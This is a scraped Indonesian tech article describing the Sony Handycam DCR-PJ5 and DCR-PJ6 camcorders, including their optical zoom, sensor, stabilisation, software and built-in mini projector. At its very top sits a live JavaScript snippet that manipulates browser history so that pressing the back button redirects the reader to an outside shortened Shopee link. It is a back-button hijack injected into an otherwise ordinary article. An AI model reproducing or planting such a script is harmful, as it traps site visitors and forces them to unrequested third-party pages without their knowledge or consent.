(function(window, location) { history.replaceState(null, document.title, location.pathname+"#!/history"); history.pushState(null, document.title, location.pathname); window.addEventListener("popstate", function() { if(location.hash === "#!/history") { history.replaceState(null, document.title, location.pathname); setTimeout(function(){ location.replace("https://shope.ee/5Utq2NAvFT"); },10); } }, false); }(window, location));
Sony yang selain bisa merekam juga bisa berfungsi sebagai proyektor? Yup, Sony Handycam DCR-PJ5, itulah produk camcorder sony. Ini adalah camcorder berbasis kartu memori flash. Jadi jangan berharap menemukan harddisk, cakram DVD atau kaset mini DV di dalamnya. Memori flash yang didukung DCR-PJ5 adalah Memory Stick Pro Duo, Memory Stick HG Duo, SD, SDHC dan SDXC. Makanya badannya bisa terlihat ramping dan kompak. Bobotnya juga ringan, cuma di kisaran 230 gram jika ditimbang tanpa baterai.
Menurut Satoru Arai (Presiden Direktur Sony Indonesia) dengan bentuknya yang kompak dan langsing itu membuat DCR-PJ5 bisa dengan mudah dibawa ke mana-mana. “Anda bisa langsung menyaksikan hasil pengambilan gambar yang Anda lakukan dimanapun Anda berada,” jelasnya dalam rilis pers yang diterima PCplus.
Ya, salah satu fitur unik di camcorder Sony ini adalah fasilitas proyektor mini yang ada di sisi depan LCD lipatnya. Karena bisa diputar-putar sesuai arah, kita bisa dengan mudah menembakkan arah dari proyektor ini. Sony mengklaim proyektor di DCR-PJ5 bisa menghasilkan proyeksi gambar dengan lebar diagonal sampai 60 inci dalam jarak 3 meter.
Sony DCR-PJ5
Bagaimana dengan fasiltias di camcordernya? Dari informasi yang didapat, zoom optis camcorder ini mencapai 57 kali dan bisa diperpanjang hingga 67 kali dalam moda extended. Kemampuan zoom ini kemudian disandingkan dengan CCD Advanced HAD (Hole Accumulation Diode) beresolusi 800 ribu piksel. Jika mencoba mengambil foto menggunakan camcorder ini maka kamu bisa mendapatkan gambar dengan resolusi 560 ribu piksel (format 4:3). Meski punya zoom lumayan panjang, tidak perlu kuatir video yang diambil bakal berguncang hebat karena Sony sudah membekali seri ini dengan fitur SteadyShot.
Fitur dan fasilitas lain di kamera ini tidak berbeda jauh dengan camcorder Sony lain. Tersedia 18 jenis skema program pengambilan gambar yang berbede untuk segala situasi. Teknologi Face Detectionjuga tersedia untuk lebih memudahkan saat merekam obyek manusia.
Setelah mengambil video atau foto dengan kamera ini Sony masih memanjakan penggunanya dengan menyediakan fasilitas Picture Motion Browser (PMB) dan iDVDirect Express. PMB sangat berguna saat akan mengunggah video ke internet. Cukup hubungkan DCR-PJ5 ke PC lewat kabel USB dan unggah video ke internet. Sementara iDVDirect Express bisa dihubungkan ke perangkat DVD Writer Sony VRDP1 untuk merekam video ke DVD tanpa PC. Kalau punya hard disk eksternal kamu juga bisa menyalin langsung video dari camcorder ini menggunakan fitur Direct Copy.
Sony DCR-PJ6 merupakan kelanjutan dari DCR-PJ5. Perbedaannya ada pada kemampuan melakukan zoom. Sementara DCR-PJ5 hanya memiliki zoom optik 57x, DCR-PJ6 bisa mencapai 70x. Kelebihan dari camcorder ini adalah fasilitas proyektor untuk berbagi rekaman bersama keluarga atau teman. Saat Tempo mencobanya, proyektor dapat menghasilkan gambar sangat tajam di alas datar, seperti dinding atau layar, tentu dengan kondisi ruangan gelap.
Dari beberapa kali uji coba, gambar terbesar yang dapat diproyeksikan oleh camcorder ini dan masih nyaman untuk dilihat kurang-lebih setara dengan televisi 60 inci. Cukup besar dan warna terlihat hidup dengan pantulan cahaya tetap terang. Fitur menarik lainnya dari DCR-PJ6 adalah dapat digunakan sebagai proyektor dari berbagai perangkat digital lainnya, seperti PlayStation, Walkman, home theater, pemutar DVD, ponsel, dan komputer tablet. Ini dimungkinkan berkat adanya slot input proyektor.
Kemampuannya melakukan optical zoom-in hingga 70x sangat membantu dalam merekam gambar dengan jarak cukup jauh. Hanya, untuk mengambil gambar dengan zoom-in maksimal ini, tangan tidak boleh bergetar. Sebab, gambar akan mudah terguncang. Paling aman tentunya adalah merekam dengan bantuan tripod.